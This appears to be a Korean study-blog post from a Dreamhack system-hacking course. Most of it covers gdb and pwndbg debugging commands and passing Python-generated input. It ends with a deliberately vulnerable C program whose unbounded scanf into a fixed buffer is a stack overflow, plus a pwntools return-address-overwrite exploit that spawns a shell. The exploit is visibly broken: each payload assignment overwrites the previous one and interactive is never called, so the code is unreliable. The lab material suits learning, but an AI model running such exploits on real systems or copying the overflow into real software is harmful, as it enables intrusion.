gdb
디버거 : 버그를 없애기 위해 사용하는 도구
▶ gdb & pwndbg
#include <stdio.h>
int main(void) {
int sum = 0;
int val1 = 1;
int val2 = 2;
sum = val1 + val2;
printf("1 + 2 = %d\\n", sum);
return 0;
}
- start
: 진입점부터 프로그램을 분석할 수 있게 해주는 gdb의 명령어
리눅스 실행파일 형식 : ELF(Executable and Linkable Format)
ELF : 헤더(실행에 필요한 여러 정보) + 여러 섹션(컴파일된 기계어 코드, 프로그램 문자열 등 데이터)
헤더 중 진입점이라는 필드가 있는데 운영체제가 ELF를 실행할 때, 진입점의 값부터 실행한다.
readelf로 확인해본 결과 debugee의 진입점은 0x401050이다.
- context
pwndbg는 주요 메모리들의 상태를 프로그램이 실행되고 있는 맥락(Context)이라고 부르며, 이를 가독성 있게 표현할 수 있는 인터페이스를 갖추고 있다.
- registers: 레지스터의 상태를 보여준다.
- disasm: rip부터 여러 줄에 걸쳐 디스어셈블된 결과를 보여준다.
- stack: rsp부터 여러 줄에 걸쳐 스택의 값들을 보여준다.
- backtrace: 현재 rip에 도달할 때까지 어떤 함수들이 중첩되어 호출됐는지 보여준다.
이들은 어셈블리를 실행할 때마다 갱신되어 방금 실행한 어셈블리 명령어가 메모리에 어떤 영향을 줬는지 쉽게 파악할 수 있게 돕는다.
- break & continue
break : 특정 주소에 중단점을 설정하는 기능
continue : 중단된 프로그램을 계속 실행시키는 기능
- run
: 단순히 실행만 시킨다. 중단점을 설정해놓지 않았다면 프로그램이 끝까지 멈추지 않고 실행된다.
위에서 main에 breakpoint를 설정해놨기 때문에 main에서 실행이 멈춘다.
이 외 gdb 명령어
si: step into
ni: next instruction
i: info
k: kill
pd: pdisas
- disassembly
disassemble : gdb가 기본적으로 제공하는 디스어셈블 명령어
함수 이름을 인자로 전달하면 해당 함수가 반환될 때 까지 전부 디스어셈블하여 보여준다.
디스어셈블 명령어 : u, nearpc, pdisassemble - 디스어셈블된 코드를 가독성 좋게 출력해줌
- navigate
관찰하고자 하는 함수의 중단점에 도달했으면 명령어를 한 줄씩 분석해야 하는데 이 때 ni, si 명령어를 사용한다.
ni(next instruction) | si(step into) | |
공통점 | 어셈블리 명령어를 한 줄 실행 | |
차이점(call 등을 통해 서브루틴 호출) | 서브루틴의 내부로 들어가지 않음 | 서브루틴 내부로 들어감 |
사용 | 함수 내부까지 궁금 X | 함수 내부까지 궁금 O |
si를 사용하면 printf 함수 내부까지도 rip가 이동한다.
si로 함수 내부에 들어가 필요한 부분을 모두 분석했는데 함수 규모가 커서 원래 실행 흐름으로 돌아가기 어렵다면 finish 명령어를 이용해 함수의 끝까지 한번에 실행할 수 있다.
- examine
프로그램을 분석하다 보면 가상 메모리에 존재하는 임의 주소의 값을 관찰해야할 때가 있다. x를 이용하면 특정 주소에서 원하는 길이만큼의 데이터를 원하는 형식으로 인코딩하여 볼수 있습니다.
- telescope
: pwndbg가 제공하는 강력한 메모리 덤프 기능
특정 주소의 메모리 값과 메모리가 참조하고 있는 주소를 재귀적으로 탐색하여 값을 보여준다.
- vmmap
: 가상 메모리의 레이아웃
어떤 파일이 매핑된 영역일 경우, 해당 파일의 경로까지 보여준다.
- gdb / python
gdb를 통해 디버깅할 때 직접 입력할 수 없을 때가 있다. 예를 들어, 숫자와 알파벳이 아닌 값을 입력하는 상황이다. 이러한 값은 이용자가 직접 입력할 수 없는 값이기 때문에 파이썬으로 입력값을 생성하고, 이를 사용해야 한다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char name[20];
if( argc < 2 ) {
printf("Give me the argv[2]!\n");
exit(0);
}
memset(name, 0, sizeof(name));
printf("argv[1] %s\n", argv[1]);
read(0, name, sizeof(name)-1);
printf("Name: %s\n", name);
return 0;
}
- python argv
run 명령어의 인자로 $()와 함께 파이썬 코드를 입력하면 값을 전달할 수 있다.
- python input
$()와 함께 파이썬 코드를 입력하면 값을 전달할 수 있다. 입력값으로 전달하기 위해서 '<<<'문자를 사용한다.
위 코드는 argv[1]에 임의의 값을 전달하고 값을 입력하는 명령어다.
pwntools
이론은 밑에 링크에 작성해두었으므로 넘어감
https://sbcho0325.tistory.com/45
pwntools 실습
▶rao 익스플로잇
- rao 예제 코드
#include <stdio.h>
#include <unistd.h>
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
printf("Input: ");
scanf("%s", buf);
return 0;
}
- pwntools로 rao 익스플로잇
from pwn import *
p = process('./rao')
get_shell = 0x4005a7
payload = b"A"*0x30
payload = b"B"*0x8
payload = p64(get_shell)
p.sendline(payload)
p.interactive
'SYSTEM Hacking' 카테고리의 다른 글
[SISS] Dreamhack System Hacking (STAGE 4) - 실습 (0) | 2022.01.22 |
---|---|
[SISS] Dreamhack System Hacking (STAGE 4) (0) | 2022.01.22 |
[SISS] Dreamhack System Hacking (STAGE 2) - 실습 (0) | 2022.01.21 |
[SISS] Dreamhack System Hacking (STAGE 2) (0) | 2022.01.10 |
[SISS] Bandit Level 5 -> 10 (0) | 2022.01.03 |